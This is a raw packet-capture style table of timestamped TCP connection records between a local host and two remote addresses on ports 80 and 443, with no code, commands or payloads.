Dec 20, 2024 13:12:24.210757017 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.210835934 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.211338043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.211395979 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.211797953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.211853027 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.212049007 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.212102890 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.212867975 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.212922096 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.213041067 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.213093996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.213898897 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.213953972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.214061022 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.214113951 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.214992046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.215027094 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.215046883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.215076923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.215971947 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.216026068 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.216197968 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.216248989 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.217046976 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.217101097 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.217924118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.218020916 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.218400002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.218435049 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.218451023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.218482971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.219736099 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.219791889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.219907045 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.219960928 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.221087933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.221141100 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.221358061 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.221410990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.222014904 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.222068071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.223206043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.223241091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.223259926 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.223274946 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.223284006 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.223324060 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.224189043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.224245071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.224327087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.224380970 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.224941969 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.224996090 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.225205898 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.225260019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.225847960 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.225902081 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.226355076 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.226411104 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.226552010 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.226586103 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.226604939 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.226824045 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.227730036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.227783918 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.227916956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.227973938 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.228606939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.228662014 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.228734970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.228789091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.229682922 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.229717016 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.229742050 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.229763985 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.231203079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.231259108 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.231512070 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.231565952 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.232594013 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:24.232673883 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:24.232969046 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.233027935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.234025955 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:24.234050989 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:24.234288931 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:24.235486031 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:24.235687017 CET	49867	443	192.168.2.5	104.21.12.88
Dec 20, 2024 13:12:24.235728025 CET	443	49867	104.21.12.88	192.168.2.5
Dec 20, 2024 13:12:24.369764090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.369951010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.370101929 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.370173931 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.370465994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.370501041 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.370556116 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.370579958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.370634079 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.370693922 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.371471882 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.371579885 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.372327089 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.372414112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.372500896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.372571945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.372833967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.372916937 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.373495102 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.373554945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.373657942 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.373861074 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.374620914 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.374716997 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.375147104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.375231028 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.375792027 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.375874043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.375946999 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.376019955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.376789093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.376843929 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.376919031 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.377075911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.377763987 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.377919912 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.378448963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.378511906 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.378922939 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.378995895 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.379070044 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.379137993 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.379867077 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.379950047 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.380023956 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.380084991 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.380867958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.381052971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.381194115 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.381299019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.382025003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.382060051 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.382105112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.382105112 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.383054972 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.383208990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.383255959 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.383326054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.384068966 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.384162903 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.384706020 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.384778023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.385360003 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.385415077 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.385658979 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.385731936 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.386306047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.386339903 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.386372089 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.386389971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.386416912 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.386501074 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.386504889 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.386579990 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.388609886 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.388725042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.389749050 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.389784098 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.389811039 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.389817953 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.389868975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.389868975 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.390436888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.390470982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.390499115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.390523911 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.391522884 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.391607046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.392061949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.392110109 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.392144918 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.392163038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.392163038 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.392194986 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.392688990 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.392810106 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.392817020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.392898083 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.393666983 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.393728971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.394109011 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.394197941 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.394654989 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.394728899 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.395375967 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.395448923 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.395911932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.395947933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.395982981 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.396047115 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.396768093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.396857023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.396930933 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.396991968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.397803068 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.397897005 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.398026943 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.398101091 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.398902893 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.398982048 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.399266958 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.399337053 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.399924040 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.399981022 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.400006056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.400084972 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.403815985 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.403851032 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.403887033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.403893948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.403893948 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.403920889 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.403934002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.403959036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.403997898 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.404020071 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.404143095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.404216051 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.405088902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.405173063 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.406162977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.406255007 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.406317949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.406352043 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.406402111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.406402111 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.406713009 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.406845093 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.407044888 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.407135963 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.407265902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.407331944 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.407893896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.408000946 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.408519030 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.408642054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.408786058 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.408859968 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.409482002 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.409540892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.409684896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.409763098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.410402060 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.410495043 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.410836935 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.410883904 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.411446095 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.411506891 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.412161112 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.412399054 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.412472963 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.412575960 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.413177013 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.413289070 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.413585901 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.413666010 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.414031982 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.414117098 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.414571047 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.414635897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.414879084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.414938927 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.415631056 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.415703058 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.415759087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.415819883 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.416702986 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.416785002 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.416836977 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.416923046 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.417764902 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.417819023 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.417936087 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.417994976 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.418778896 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.418869019 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.418916941 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.418972015 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.419835091 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.419945955 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.419970036 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.420037031 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.420922995 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.420959949 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.421010971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.421010971 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.421924114 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.422019958 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.422032118 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.422097921 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.423012018 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.423109055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.423185110 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.423340082 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.561336994 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.561466932 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.561505079 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.561583996 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.561717033 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.561875105 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.562012911 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.562180042 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.562793970 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.562901020 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.563391924 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.563582897 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.563940048 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.563977957 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.564029932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.564029932 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.564999104 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.565056086 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.565124035 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.565392017 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.566005945 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.566040993 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.566082954 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.566122055 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.566986084 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.567086935 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.567166090 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.567248106 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.568058014 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.568182945 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.568257093 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.568321943 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.569097996 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.569161892 CET	49859	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:24.569221973 CET	80	49859	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:24.569278002 CET	49859	80	192.168.2.5	31.41.244.11
